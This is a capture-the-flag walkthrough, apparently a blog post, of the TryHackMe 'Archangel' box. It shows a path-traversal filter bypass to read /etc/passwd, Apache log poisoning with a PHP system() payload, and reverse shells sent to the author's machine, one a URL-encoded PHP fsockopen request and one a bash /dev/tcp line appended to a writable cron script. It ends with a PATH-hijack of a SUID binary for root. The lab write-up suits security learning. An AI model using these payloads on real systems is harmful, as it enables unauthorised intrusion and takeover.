THM: Archangel
Intro⌗
THM: Archangel is fun easy box that has involves one of my favorite techniques: escalating LFI to RCE by poisoning a log file. Once we have a shell we’ll take advantage of open permissions on a file running as cronjob to pivot to another user. And we’ll finish with a path injection attack to root the box.
Recon⌗
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Archangel]
└─$ sudo rustscan -a 10.10.210.148 -- -sV -oA nmap1
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
On port 80 we have a website for Mafialive Solutions.
In the header we have an email address on the domain mafialive.thm
so let’s add that to our /etc/hosts
file.
And if we send an HTTP request to that domain we’ll see it is indeed running as another vhost and reveals the first flag.
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Archangel]
└─$ curl http://mafialive.thm
<h1>UNDER DEVELOPMENT</h1>
thm{f0und_REDACTED_n4m3}
Let’s run some content enumeration here.
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Archangel]
└─$ ffuf -t 100 -u http://mafialive.thm/FUZZ -w /usr/share/wordlists/dirb/big.txt -c
.htpasswd [Status: 403, Size: 278, Words: 20, Lines: 10]
.htaccess [Status: 403, Size: 278, Words: 20, Lines: 10]
robots.txt [Status: 200, Size: 34, Words: 3, Lines: 3]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10]
:: Progress: [20469/20469] :: Job [1/1] :: 460 req/sec :: Duration: [0:00:50] :: Errors: 0 ::
In robots.txt
we are told there is a test.php
page we definitely want to check out.
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Archangel]
└─$ curl http://mafialive.thm/robots.txt
User-agent: *
Disallow: /test.php
It’s a mostly blank page that says “Test Page. Not to be Deployed” with a “Here is a button” button that when clicked, redirects back to the same page but with an interesting query string this time:
http://mafialive.thm/test.php?view=/var/www/html/development_testing/mrrobot.php
The fact that the query parameter contains a full Linux file path immediately screams potential LFI vulnerabiliy.
Exploiting LFI⌗
Let’s play with this theory and see if we can indeed exploit LFI here.
The text beneath the button is likely the output of the file being included. We can quickly confirm that by replacing mrrobot.php
with robots.txt
.
However, if we replace the whole path with /etc/passwd
we see “Sorry, Thats not allowed”. So there is some kind of backend validation that is intended to only allow certain files/paths to be included.
We’ll need to test this methodically to understand what exactly is and isn’t allowed. To start, we’ll make a small change to a path we know that works and see if our change breaks it.
By adding a ../development_testing
in the middle, we see the contents of mrrobot.php
and prove that ../
is allowed.
/var/www/html/development_testing/../development_testing/mrrobot.php
Now let’s traversing 2 levels with ../../html/development_testing
.
That does not work, so there must be a filter on ../../
.
We can try getting around that with .././../
, and that does work!
So finally let’s try using what we’ve learned here to access /etc/passwd
with this path:
/var/www/html/development_testing/.././.././.././.././.././../etc/passwd
…Success!
We can see archangel
is user on the box and can try to leak their SSH key, though chances are slim that the user the web server is running as (most likely www-data
as this is Apache) will have permission to read that file.
Initial Foothold⌗
LFI is great for leaking information but if we are able to read a log file that we can control, we can turn it into an RCE! This is one of my favorite techniques.
The LFI vulnerability is caused by the way PHP’s include() function works.
The
include
expression includes and evaluates the specified file.
So if we can write some malicious code to the error log and then read it via the LFI bug, our code will get executed before the output is displayed.
Let’s see if we can read Apache’s error log. It may take a little bit of fuzzing to find, but typically it’ll be at /var/log/apache2/error.log
. There’s an access.log
as well — either will work.
Now that we know we can read the log, we can “poison” it by sending a request and inserting some PHP code in the User-Agent
header.
curl http://mafialive.thm/test.php -A "<?php system(\$_GET['c']);?>"
(or just change the header in the request if you’re using Burp)
Now we can append &c=id
to the URL when reading the log file so the id
command will execute on the target and the output will be reflected in the response.
We have RCE!
Now to get our foothold we can use a reverse shell payload to send ourselves a shell.
GET /test.php?view=/var/www/html/development_testing/.././.././.././.././.././../var/log/apache2/access.log&c=php%20-r%20%27%24sock%3Dfsockopen%28%2210.13.17.127%22%2C5555%29%3B%24proc%3Dproc_open%28%22%2Fbin%2Fbash%22%2C%20array%280%3D%3E%24sock%2C%201%3D%3E%24sock%2C%202%3D%3E%24sock%29%2C%24pipes%29%3B%27 HTTP/1.1
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Archangel]
└─$ nc -lnvp 5555
listening on [any] 5555 ...
connect to [10.13.17.127] from (UNKNOWN) [10.10.100.252] 35106
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
With a bit of bash magic we can upgrade our shell and then we’ll find the user flag in the archangel user’s home directory.
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@ubuntu:/var/www/html/development_testing$ ^Z
zsh: suspended nc -lnvp 5555
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Archangel]
└─$ stty raw -echo; fg 148 ⨯ 1 ⚙
[1] + continued nc -lnvp 5555
...(hit enter twice)...
www-data@ubuntu:/var/www/html/development_testing$ stty rows 70 columns 111
www-data@ubuntu:/var/www/html/development_testing$ export TERM=xterm
www-data@ubuntu:/var/www/html/development_testing$ cd /home/archangel/
www-data@ubuntu:/home/archangel$ ls -la
total 44
drwxr-xr-x 6 archangel archangel 4096 Nov 20 2020 .
drwxr-xr-x 3 root root 4096 Nov 18 2020 ..
-rw-r--r-- 1 archangel archangel 220 Nov 18 2020 .bash_logout
-rw-r--r-- 1 archangel archangel 3771 Nov 18 2020 .bashrc
drwx------ 2 archangel archangel 4096 Nov 18 2020 .cache
drwxrwxr-x 3 archangel archangel 4096 Nov 18 2020 .local
-rw-r--r-- 1 archangel archangel 807 Nov 18 2020 .profile
-rw-rw-r-- 1 archangel archangel 66 Nov 18 2020 .selected_editor
drwxr-xr-x 2 archangel archangel 4096 Nov 18 2020 myfiles
drwxrwx--- 2 archangel archangel 4096 Nov 19 2020 secret
-rw-r--r-- 1 archangel archangel 26 Nov 19 2020 user.txt
www-data@ubuntu:/home/archangel$ wc -c user.txt
26 user.txt
Privilege Escalation⌗
Checking the crontab for anything interesting, we can see there is a script running every minute as the archangel
user.
www-data@ubuntu:/var/www/html/development_testing$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
*/1 * * * * archangel /opt/helloworld.sh
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
www-data@ubuntu:/var/www/html/development_testing$ ls -la /opt
total 16
drwxrwxrwx 3 root root 4096 Nov 20 2020 .
drwxr-xr-x 22 root root 4096 Nov 16 2020 ..
drwxrwx--- 2 archangel archangel 4096 Nov 20 2020 backupfiles
-rwxrwxrwx 1 archangel archangel 66 Nov 20 2020 helloworld.sh
The permissions are wide open on this script so we can read and modify it.
#!/bin/bash
echo "hello world" >> /opt/backupfiles/helloworld.txt
We can append some shellcode to the script with echo "/bin/bash -i >& /dev/tcp/10.13.17.127/9001 0>&1" >> helloworld.sh
to send ourselves a reverse shell as archangel the next time the job runs.
┌──(brian㉿kali)-[~]
└─$ nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.13.17.127] from (UNKNOWN) [10.10.129.238] 53146
bash: cannot set terminal process group (955): Inappropriate ioctl for device
bash: no job control in this shell
archangel@ubuntu:~$ id
id
uid=1001(archangel) gid=1001(archangel) groups=1001(archangel)
In archangel’s home directory there is a directory named secret
were we’ll find the 2nd user flag.
archangel@ubuntu:~/secret$ ls -la
total 32
drwxrwx--- 2 archangel archangel 4096 Nov 19 2020 .
drwxr-xr-x 6 archangel archangel 4096 Nov 20 2020 ..
-rwsr-xr-x 1 root root 16904 Nov 18 2020 backup
-rw-r--r-- 1 root root 49 Nov 19 2020 user2.txt
archangel@ubuntu:~/secret$ wc -c user2.txt
49 user2.txt
It also contains a SUID binary owned by root.
archangel@ubuntu:~/secret$ file backup
backup: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=9093af828f30f957efce9020adc16dc214371d45, for GNU/Linux 3.2.0, not stripped
Executing it gives an error that hints at a path to privesc.
archangel@ubuntu:~/secret$ ./backup
cp: cannot stat '/home/user/archangel/myfiles/*': No such file or directory
We can run strings
and see the full command it is trying to run.
cp /home/user/archangel/myfiles/* /opt/backupfiles
It’s failing because the source directory does not exist, although that’s not the most interesting part here.
Since the program is calling cp
without an absolute path we can hijack it to get a root shell!
All we need to do is create our own malicious script with the same name in the same directory, and then prepend our current directory to the $PATH
so when bash tries to find cp
, it finds and executes our script instead.
Our script will get executed as root since that’s what the backup
process will be running as, giving us a root shell.
archangel@ubuntu:~/secret$ cat > cp <<EOF
> #!/bin/bash
> /bin/bash -p
> EOF
archangel@ubuntu:~/secret$ chmod +x cp
archangel@ubuntu:~/secret$ export PATH=/home/archangel/secret:$PATH
archangel@ubuntu:~/secret$ ./backup
root@ubuntu:~/secret# id
uid=0(root) gid=0(root) groups=0(root),1001(archangel)
root@ubuntu:~/secret# wc -c /root/root.txt
68 /root/root.txt
✅